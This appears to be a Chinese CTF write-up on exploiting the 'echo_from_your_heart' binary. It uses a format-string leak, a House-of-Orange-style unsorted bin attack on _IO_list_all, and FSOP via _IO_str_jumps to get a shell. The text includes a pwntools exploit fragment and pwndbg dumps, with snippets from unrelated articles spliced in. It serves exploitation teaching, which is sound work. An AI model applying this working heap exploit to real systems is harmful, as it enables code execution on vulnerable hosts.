possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ readelf -h echo_from_your_heart ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x9c0 Start of program headers: 64 (bytes into file) Start of section headers: 4512 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 27 Section header string table index: 26 healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ checksec echo_from_your_heart [*] '/home/healer/Desktop/echo_from_your_heart/echo_from_your_heart' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
分析利用过程 触发_int_free()创造free chunk __int64 __fastcall main(__int64 a1, char **a2, char **a3) signed int v3; // ebx unsigned int length; // eax void *v5; // rbp v3 = 5; init_AB0(a1, a2, a3); puts("echo from your heart"); __printf_chk(1LL, "lens of your word: "); length = getinpt_AF0(); if ( length > 0x1000 ) puts("too long"); exit(1); v5 = malloc(length); // 申请内存大小为输入的值,不能大于0x1000 __printf_chk(1LL, "word: "); gets(v5); // 此处输入的字符数可以很大,没有长度限制,溢出 __printf_chk(1LL, "echo: "); __printf_chk(1LL, v5); putchar(10); --v3; while ( v3 ); return 0LL; 上面的get(v5)函数存在堆溢出漏洞,考虑以此为入手点,但是此程序保护全开,需要泄漏地址,got表劫持可以考虑 通过利用格式化字符串漏洞泄漏出libc的函数地址之后,构造UnsortedBin之后发现在覆盖topchunk之后再次申请出发sysmalloc()函数的int_free()时发现会触发检测错误 这个检测过不了 assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); 然后出现下面这种情况 pwndbg> Program received signal SIGABRT, Aborted. 0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *RAX 0x0 *RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001 *RCX 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x6 *RDI 0x23a0 *RSI 0x23a0 *R8 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0 *R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 *R10 0x8 *R11 0x246 *R12 0xfa0 *R13 0x5555557560a0 ◂— 0x0 *R14 0x1000 *R15 0x1000 *RBP 0xfd0 *RSP 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] *RIP 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 0x7ffff7a4243e <raise+62> ja raise+96 <raise+96> 0x7ffff7a42440 <raise+64> ret 0x7ffff7a42442 <raise+66> nop word ptr [rax + rax] 0x7ffff7a42448 <raise+72> test ecx, ecx 0x7ffff7a4244a <raise+74> jg raise+43 <raise+43> 0x7ffff7a4242b <raise+43> movsxd rdx, edi 0x7ffff7a4242e <raise+46> mov eax, 0xea 0x7ffff7a42433 <raise+51> movsxd rdi, ecx 0x7ffff7a42436 <raise+54> syscall 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] 01:0008│ 0x7fffffffda30 ◂— 0x20 /* ' ' */ 02:0010│ 0x7fffffffda38 ◂— 0x0 ... ↓ ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a42438 raise+56 f 1 7ffff7a4403a abort+362 f 2 7ffff7a8a2f8 __malloc_assert+104 f 3 7ffff7a8e436 sysmalloc+470 f 4 7ffff7a8f763 _int_malloc+3027 f 5 7ffff7a911d4 malloc+84 f 6 555555554947 f 7 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> b'echo: ' [DEBUG] Received 0xc4 bytes: b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' [+] libc_start_mian -> 0x7ffff7a2d750 [+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed. 0x7ffff7a0d000 [+] system_addr -> 0x7ffff7a523a0 [+] str_bin_sh_addr -> 0x7ffff7b99e17 [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Received 0x13 bytes: b'lens of your word: ' [DEBUG] Sent 0x5 bytes: b'4032\n' [DEBUG] Received 0xe9 bytes: b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n" 下面是IDA调试结果: libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小 libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐 # 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐 libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行 libc_2.23.so:00007FFFF7A8E417 libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置 libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c" libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"... libc_2.23.so:00007FFFF7A8E42C mov edx, 961h libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束 libc_2.23.so:00007FFFF7A8E436 db 2Eh libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h] libc_2.23.so:00007FFFF7A8E440 根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用 下面扩展一个GDB的调试结果,同样也是锁定报错的位置 pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件: assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = 